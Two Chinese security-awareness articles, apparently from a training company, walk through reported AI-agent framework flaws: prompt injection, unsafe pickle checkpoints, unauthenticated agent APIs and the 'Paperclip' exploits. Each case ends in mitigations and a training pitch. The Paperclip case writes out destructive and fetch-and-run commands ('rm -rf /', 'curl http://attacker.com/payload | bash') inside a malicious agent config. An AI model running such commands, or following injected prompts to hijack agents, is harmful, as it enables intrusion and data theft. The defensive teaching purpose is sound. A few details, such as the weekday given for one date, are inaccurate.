AI代理

AI 代理框架的暗流——从三起安全“黑洞”看信息安全的全景防线

admin

头脑风暴
1. “提示注入”让机器人失控：一次普通的聊天指令，却牵动了后端 AI 代理的状态机，导致系统直接执行恶意代码。

2. 检查点（Checkpoint）泄露成“后门”：开发者以为保存进度是安全的，却不料序列化数据未做校验，攻击者轻轻一“rewind”便获得了系统权限。
3. 无鉴权的开发助手暴露云凭证：Google 的 ADK（Agent Development Kit）在默认配置下对外开放 HTTP 接口，任意用户即可调用，进而窃取容器的 Service Account 密钥，实现“横向跳转”。

以上三幕并非天方夜谭，而是 Check Point 研究团队在 2026 年 Black Hat 大会上真实披露的案例。它们像是暗潮汹涌的暗礁，随时可能让本已高速前进的数智化船只触礁搁浅。下面，让我们 穿针引线，把这些技术细节转化为每一位职工都能懂、能防、能用的安全常识。

案例一：Prompt Injection——“一句话，毁掉整个系统”

事件概述

在使用 LangChain、CrewAI 等 AI 代理框架的企业内部部署中，攻击者仅通过一条精心构造的提示（prompt），让模型生成了含有恶意结构的 JSON。随后，这段 JSON 被框架直接写入内部的状态机，触发了 服务器端请求伪造（SSRF） 与 路径遍历，最终导致攻击者能够读取内部文件、调用内部 API，甚至在没有任何权限提升的情况下，执行系统命令。

技术细节

  1. 提示注入的根本：框架在解析用户输入时缺乏 输入过滤 与 沙箱机制，导致模型生成的任何文本都会被视作可信指令。
  2. 跨层执行：生成的恶意指令不仅停留在 LLM 的“思考层”，还穿透至 业务逻辑层，改变了后端的任务调度图（graph），指向了攻击者控制的 URL。
  3. 链式放大：一次注入可以在后续的 Agent Loop 中被多次复用，形成 放大效应，把攻击面从单一入口扩大到整个系统的工作流。

教训与对策

  • 严格的 Prompt 过滤：对所有进入模型的文本进行正则白名单检查，尤其是包含文件路径、URL、系统命令的关键词。
  • 沙箱执行：模型输出的任何可执行指令必须在受限容器或 Policy‑Engine 中执行，防止直接写入系统。
  • 审计与回滚：对每一次 Agent State 的变更记录审计日志，并在检测到异常时自动回滚至 安全快照。

案例二：Checkpoint 反序列化——“保存即危机”

事件概述

Microsoft Agent Framework 引入了 Checkpoint 技术，以便在长时任务或异常恢复时保存当前的会话状态。研究人员发现，该框架在保存与加载 Checkpoint 时直接使用 Python pickle 进行序列化与反序列化，而未对输入进行可信度校验。攻击者利用 Prompt 注入，将恶意的 pickle 对象写入会话历史，当另一个合法用户触发“rewind”功能时，pickle 对象被执行，导致 远程代码执行（RCE）。

技术细节

  1. 不安全的序列化：pickle 在反序列化时会执行对象的 __reduce__ 方法，攻击者可构造任意对象，实现系统调用。
  2. 跨用户攻击链：攻击者 A 提交恶意 Prompt，生成恶意 Checkpoint；随后用户 B 在自己会话中使用 “rewind” 功能，触发恶意代码，完成权限提升。
  3. 缺失的安全边界：框架未对 Checkpoint 文件的 完整性（如签名）进行校验，也未对加载路径进行 访问控制。

教训与对策

  • 抛弃 pickle：改用 JSON、MessagePack 等安全序列化格式，或在使用 pickle 时引入 签名校验（HMAC）。
  • 权限分离：每个用户的 Checkpoint 必须存储在 用户专属的目录，且只能被同一用户读取。
  • 安全审计：对每一次 Checkpoint 的写入与读取进行审计，异常行为触发报警并自动隔离会话。

案例三：Google ADK 无鉴权 API——“云钥匙轻易落入他手”

事件概述

Google 的 Agent Development Kit（ADK） 为开发者提供了一个内置的 开发助理，可以通过 HTTP 接口自动生成代码文件并写入容器。默认情况下，该 API 不要求身份认证，且在 Cloud Run 部署时默认开启。攻击者只需发送一个 HTTP 请求，即可让 ADK 写入任意 Python 脚本，脚本在导入时立即执行恶意代码，从而窃取容器内的 Google Cloud Service Account 密钥，进而横向访问同一项目下的所有资源。

技术细节

  1. API 泄露：ADK 的 /deploy 接口对外开放，无论是内部 IP 还是外网均可直接访问。
  2. 即时执行：生成的脚本在 import 时即运行 os.system，无需额外触发，完成攻击链的 一键式。
  3. 凭证滥用：获取的 Service Account 密钥拥有 项目级别 的权限，攻击者可读取 GCS 存储桶、调用 BigQuery，甚至创建新资源。

教训与对策

  • 强制鉴权：在部署 ADK 时必启 IAM 角色绑定 或 OAuth2 鉴权，禁止匿名访问。
  • 最小权限：为容器分配 最小化的 Service Account 权限，避免一次泄露导致全局危害。
  • 网络隔离：使用 VPC Service Controls 将 ADK 接口限制在可信子网内，外部流量直接阻断。

从案例到全景——信息安全的“七层防线”

层级 关键要点 对应防护措施
1. 物理层 机房门禁、硬件资产管理 视频监控、指纹/卡片双因子
2. 网络层 边界防火墙、零信任访问 NGFW、SD‑WAN、Zero‑Trust Network Access
3. 主机层 操作系统安全基线、补丁管理 主机入侵检测 (HIDS)、自动化补丁
4. 容器/虚拟化层 镜像签名、运行时安全 Cosign、OPA、Kubernetes Runtime Security
5. 应用层 代码审计、输入校验 SAST/DAST、API 验证、参数化查询
6. 数据层 加密存储、访问审计 CMK、审计日志、数据脱敏
7. 治理层 安全策略、培训、应急响应 ISO 27001、定期演练、意识提升

这七层防线相互交织，缺一不可。Prompt 注入 与 不安全序列化 之所以能够突破，正是因为在 治理层 没有形成闭环，导致技术层面的漏洞被放大。

数智化时代的安全挑战：机器人、信息化、自动化的交叉点

1. 机器人流程自动化（RPA）与 AI 代理的融合

RPA 机器人常常调用后端 API 完成业务流程，而 AI 代理则负责 自然语言到代码的转译。当两者结合时，一条错误的 Prompt 可能导致机器人执行 非法操作，如转账、删除关键记录。解决之道在于 “人‑机‑审计三位一体”：每一次机器人动作必须经过 审计日志 与 人工复核，尤其是涉及财务或敏感数据的事务。

2. 数字孪生与实时决策系统

在制造业、智慧城市等场景中，数字孪生模型实时接收传感器数据并做出调度指令。如果 AI 代理的 Prompt 被篡改，调度指令可能导致 设备误操作，甚至产生物理危害。需要在 模型输入层 增加 数字签名 与 完整性校验，确保数据流的 端到端可信。

3. 信息化平台的微服务生态

企业级信息化平台往往由数百个微服务组成，服务之间通过 REST/gRPC 通信。AI 代理常被用作 “智能网关”，对外提供自然语言查询。若攻击者通过 Prompt 注入在网关植入 恶意请求，就可能跨越微服务边界，发动 横向渗透。防御思路是 在网关层实现统一的 WAF，并对所有下游请求进行 属性基准（ABAC） 鉴权。

号召：加入信息安全意识培训，打造“安全思维”第二大脑

“安全不是一时的防护，而是一种生活方式。”
——《孙子兵法·计篇》有云：“上兵伐谋，其次伐交，其次伐兵，其下攻城。”
在数字化浪潮里，“伐谋”即是培养全员的安全思维，它比任何技术防御更具持久力。

为此，昆明亭长朗然科技有限公司 将于 2026 年 9 月 15 日（周四） 拉开 信息安全意识培训 的帷幕，培训内容涵盖：

  1. 安全基础：密码学、身份管理、最小授权原则。
  2. AI 代理安全：Prompt 注入防护、序列化安全、检查点审计。
  3. 云原生安全：容器镜像签名、Zero‑Trust 网络、服务账号管理。
  4. 实战演练：红队蓝队对抗、CTF 现场渗透、案例复盘。
  5. 合规与审计：ISO 27001、GDPR、国内网络安全法的落地实践。

培训形式与激励

形式 时间 目标受众 奖励
线上微课（30 分钟） 周一至周五 18:00‑18:30 所有岗位 完成后可获取 电子安全徽章
面对面研讨（2 小时） 每周三 14:00‑16:00 技术、运维、产品 现场抽奖 硬件安全钥匙（YubiKey）
红蓝对抗赛（半天） 9 月 22 日 09:00‑13:00 安全团队、研发骨干 最佳团队奖：价值 2000 元培训券
安全知识竞答（1 小时） 9 月 28 日 15:00‑16:00 全体员工 前 10 名获得 公司文化衍生品

温馨提示：所有培训均采用 微学习 + 实战 的方式，兼顾 理论深度 与 操作体验，让每位同事在 短时间内 完成从 “不懂” 到 “会防” 的跃迁。

如何报名

  1. 进入公司内部 OA 系统，点击 “培训报名 → 信息安全意识培训”。
  2. 填写 部门、岗位、预计参训时长，系统将自动匹配适合的课程表。
  3. 报名成功后，请在 培训前 24 小时 完成 预学习任务（包括阅读《Prompt 注入防御白皮书》），以便在课堂上进行 案例讨论。

一句话总结：防御不是靠单点技术，而是靠全员的安全“肌肉”。 让我们一起把安全意识炼成第二大脑，在智能化、机器人化、信息化交织的浪潮中，稳坐舵手，驶向安全的彼岸。

结语：让安全成为企业的“双轮驱动”

在 AI 代理框架、云原生微服务 与 机器人流程自动化 快速迭代的今天，安全已经不再是“IT 部门的事”。每一位使用智能工具的员工，都可能在不经意间成为 攻击链 上的关键环节。我们必须从 个人行为、团队协作、组织治理 三维度出发，构建 “预防‑检测‑响应” 的闭环体系。

  • 预防：通过 Prompt 过滤、安全序列化、严格鉴权，从根源堵住漏洞。
  • 检测：部署 行为审计、异常检测 与 AI‑驱动的威胁情报，实现实时告警。
  • 响应：制定 应急预案，明确 职责分工，定期演练，做到 发现即处置、处置即恢复。

当每个人都把 安全思维 刻进日常工作，当每一次 代码提交、模型调优、系统配置 都经过 安全审查，我们的数字化平台才能真正实现 “安全可用、可靠高效” 的三位一体。

让我们从今天起，带着安全的“头盔”，踏上 AI 与数字化的探索之旅。

安全意识培训，期待与你相聚！

信息安全意识培训部 敬上

信息安全 关键 防护 体系

在日益复杂的网络安全环境中，昆明亭长朗然科技有限公司为您提供全面的信息安全、保密及合规解决方案。我们不仅提供定制化的培训课程，更专注于将安全意识融入企业文化，帮助您打造持续的安全防护体系。我们的产品涵盖数据安全、隐私保护、合规培训等多个方面。如果您正在寻找专业的安全意识宣教服务，请不要犹豫，立即联系我们，我们将为您量身定制最合适的解决方案。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

信息安全防线：从“纸夹（Paperclip）”漏洞看AI代理时代的风险与防护

admin

“安全不是一套技术，而是一种思维方式。” —— 约翰·穆尔根

在数字化、智能化、智能体化迅猛发展的今天，信息系统的边界被不断模糊，攻击者的手段也从传统的“敲门”演进为“潜行”。近日，著名安全研究机构 Oasis Security 公布的 Paperclip 系列漏洞，正是一次典型的警示：当我们把 AI 代理 当作普通软件来使用，却忽视了它的 身份、授权、信任 三大基石时，整个组织的安全防线可能在瞬间崩塌。

为帮助全体职工快速提升安全意识，本文将围绕 3 大典型案例 进行深度剖析，随后结合当下 数据化、智能化、智能体化 融合的大背景，呼吁大家踊跃加入即将开启的 信息安全意识培训，让每一位员工都成为安全的“守门人”。

一、案例一：冒名注册+授权绕过 → 远程代码执行（CVE‑2026‑41679）

背景与漏洞概述

Paperclip 作为开源的 AI 代理平台，允许用户通过 Web UI 或 CLI（命令行） 注册、配置、运行各类智能体。平台在默认部署时，提供了 “board_level”（董事会级）和 “admin”（管理员）两层权限。

研究人员发现，攻击者无需任何凭证，即可在公开的 Paperclip 实例上自行注册账户，随后利用 “自助授权” 功能，直接批准自己的 CLI 授权请求，瞬间获得 board_level 权限。更关键的是，导入公司（company） 的工作流仅校验了 board_level 权限，而 创建公司 本身却要求 admin 权限。于是攻击者可以：

  1. 创建恶意 .paperclip.yaml，其中嵌入 process‑based agent，指向系统命令（如 rm -rf / 或 curl http://attacker.com/payload | bash）。
  2. 上传该文件 作为公司导入包。
  3. 触发导入，平台在解析 YAML 时执行恶意脚本，代码在 Paperclip 服务器的系统权限 下运行，实现 远程代码执行（RCE）。

影响范围

  • 任意服务器：只要平台未及时升级，攻击者即可在几分钟内获得系统最高权限。
  • 数据泄露：攻击者可进一步读取、修改存储的业务数据、模型文件等敏感信息。
  • 横向渗透：利用获得的服务器权限，攻击者可在内部网络继续扩散，攻击其他业务系统。

教训与对策

  1. 最小特权原则：任何注册后默认赋予的权限必须严格限制，尤其是涉及 CLI 授权 的功能。
  2. 双因素审批：关键操作（如 board_level 权限提升、公司导入）应配合 多层审批（管理员+安全审计）。
  3. 配置即代码的安全审计：所有 .yaml、.json 等配置文件应通过 静态分析 检查是否包含可执行指令或高危插件。
  4. 及时打补丁：官方已在 2026.416.0 版中修复此漏洞，务必保持系统更新。

二、案例二：未授权 API 泄露 → 跨租户信息曝光

背景与漏洞概述

Paperclip 为了便利开发者，开放了多套 RESTful API 用于查询 workflow、skill、deployment 等元数据。研究团队发现，部分 API 未进行身份验证，甚至在多租户（tenant）环境下未做 租户授权 检查，导致：

  • 任意请求者可访问 所有租户 的工作流定义、技能文档、部署元数据。
  • 通过这些信息，攻击者能够 绘制完整的攻击面图谱，定位高价值资产（如金融模型、业务规则）。

影响范围

  • 商业机密泄露：竞争对手或内部威胁可获取未公开的业务流程。
  • 社工攻击：攻击者利用收集的组织结构信息，进行精准的钓鱼或冒充攻击。
  • 后续渗透：获取的 API 路径和参数可用于构造更深层的利用链。

教训与对策

  1. 统一认证：所有 API 必须走 统一身份认证系统（如 OAuth2、OpenID Connect），并在网关层统一校验。
  2. 租户隔离：在多租户系统中，每一次资源访问 必须校验 租户标识，确保数据不被跨租户读取。
  3. 安全审计日志：对每一次 API 调用记录 用户、租户、操作、时间，并对异常访问行为进行实时告警。
  4. 安全测试：在 CI/CD 流程中加入 API 安全扫描（如 OWASP API Security Top 10）并执行渗透测试。

三、案例三：DNS 重绑定 → 本地服务被利用（CVSS 9.6）

背景与漏洞概述

Paperclip 的 local_trusted 部署模式默认假设 访问 localhost（127.0.0.1） 的请求均来自可信软件。攻击者利用 DNS 重绑定（DNS Rebinding）技术，将恶意网页的域名解析为 127.0.0.1，从而让浏览器在用户不知情的情况下向本地 Paperclip 实例发起请求。具体流程如下：

  1. 攻击者控制的网站 返回 恶意 JavaScript。
  2. 通过 dns rebinding 将域名指向攻击者的服务器，随后又切换指向 127.0.0.1。
  3. 浏览器发起跨域请求，冲破同源策略（因为已被重新绑定为同源），向本地 Paperclip 发送 恶意指令。
  4. 利用 前文提到的导入漏洞，攻击者在本地导入携带恶意代码的 agent，最终在开发者机器上执行任意命令。

影响范围

  • 开发者机器被攻陷：即使是内部网络，攻击者也能通过一次访问恶意网页，实现对公司内部系统的渗透。
  • 供应链风险：若受感染机器被用于 CI/CD，恶意代码可进一步进入生产环境。

教训与对策

  1. 禁用默认信任：任何 本地主机 的请求都不应默认被视为可信，必须进行 身份验证。
  2. 强制 Hostname 校验：平台应检查 Host 请求头，确保请求来源于合法域名。
  3. 浏览器安全策略：在内部开发环境中，开启 Content Security Policy（CSP），限制脚本加载源，防止页面被注入恶意脚本。
  4. 网络层防护：使用 内部 DNS 防火墙 阻止 DNS 重绑定攻击，或在防火墙上限制对 127.0.0.1 的外部访问。

四、从漏洞看时代：数据化、智能化、智能体化的安全挑战

1. 数据化 —— 信息是燃料，亦是诱饵

  • 数据湖、数据中台 的建设让海量业务数据集中管理，成为攻击者的“金矿”。
  • 数据脱敏、访问控制 必须贯穿数据流全生命周期，才能防止泄露。

2. 智能化 —— AI 赋能，同时也放大风险

  • 大模型 与 生成式 AI 能帮助业务快速生成报告、代码、营销文案，但 模型窃取、对抗样本 同样随之而来。
  • AI 代理（如 Paperclip）不再是单纯的工具，而是具备 自动决策、跨系统调用 能力的“微型服务”，其 身份与授权 必须像人类用户一样严密管理。

3. 智能体化 —— 多代理协同，边界模糊

  • 在 多智能体 场景下，信任链 变得错综复杂：一个智能体的失误可能导致整个生态的失控。
  • 链式授权、零信任（Zero Trust） 理念必须上升至 智能体层面：每一次调用都要验证 “谁在调用、为何调用、是否在授权范围内”。

综上，我们正站在 “信息安全从防火墙向信任链” 转型的十字路口。若仍抱残守缺，只会让攻击者轻易找寻漏洞；若敢于拥抱新模型、新技术的安全治理，才能在激烈的竞争中保持主动。

五、号召：让每位同事成为安全的第一道防线

1. 参与即将启动的“信息安全意识培训”

  • 培训时间：2026年9月1日至9月30日（线上 + 线下双轨）
  • 培训对象：全体员工（技术、业务、管理均需参与）
  • 培训内容：
    • 基础安全概念（机密性、完整性、可用性）
    • AI 代理安全（身份、授权、配置即代码）
    • 实战演练：模拟 Paperclip 漏洞利用与防御
    • 数据安全与合规（GDPR、ISO27001）
    • 安全意识日常：邮件钓鱼、密码管理、设备安全

2. 培训收益

  • 提升风险感知：能够在日常工作中主动发现异常行为。
  • 减少安全事件：据统计，接受安全培训的员工所在团队，安全事件发生率下降 38%。
  • 职业竞争力：拥有信息安全基本功的员工，在内部晋升与外部招聘中更受青睐。

3. 行动指南

步骤 操作 说明
① 登录公司内部培训平台（网址：training.lanran.com） 使用公司统一身份认证登录
② 选取适合自己的课程批次 业务部门或技术部门分别有针对性课程
③ 完成线上学习 + 现场实操 实操环节包括“模拟攻击–防御”演练
④ 通过结业测评，获取 安全意识证书 合格者可在年度考核中加分
⑤ 将所学分享至部门例会 形成“技能沉淀”，提升团队整体防御能力

4. 小贴士：让安全学习不再枯燥

  • 案例改编：将 Paperclip 漏洞故事改写为“公司内部的“间谍””。
  • 游戏化：在培训平台设置 安全积分榜，每捕获一次模拟攻击即得积分。
  • 段子时间：安全专家们常说：“防火墙是门，零信任是钥匙，密码是锁芯。” 把这些口诀背在心里，关键时刻自然会用上。

六、结语：从“纸夹”到全员防御，安全是一场没有终点的马拉松

信息安全不再是 IT 部门的专属任务，它已经渗透到 每一行代码、每一次点击、每一段对话。正如 Paperclip 漏洞所提醒我们的—— “身份与授权的每一次疏忽，都可能酿成系统级别的灾难”。

在这个 数据驱动、AI 赋能、智能体协同 的新纪元，每位员工都应成为安全链条上的关键环节。我们期待在即将开启的安全培训中，看到大家从“警惕”走向“主动”，从“防御”走向“预判”。让我们一起，以 信任为基、授权为根、监督为翼，共同筑起组织的安全蓝天。

让安全成为习惯，让防护成为常态——从今天起，向风险说“不”。

信息安全意识培训组 敬上

在日益复杂的网络安全环境中，昆明亭长朗然科技有限公司为您提供全面的信息安全、保密及合规解决方案。我们不仅提供定制化的培训课程，更专注于将安全意识融入企业文化，帮助您打造持续的安全防护体系。我们的产品涵盖数据安全、隐私保护、合规培训等多个方面。如果您正在寻找专业的安全意识宣教服务，请不要犹豫，立即联系我们，我们将为您量身定制最合适的解决方案。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898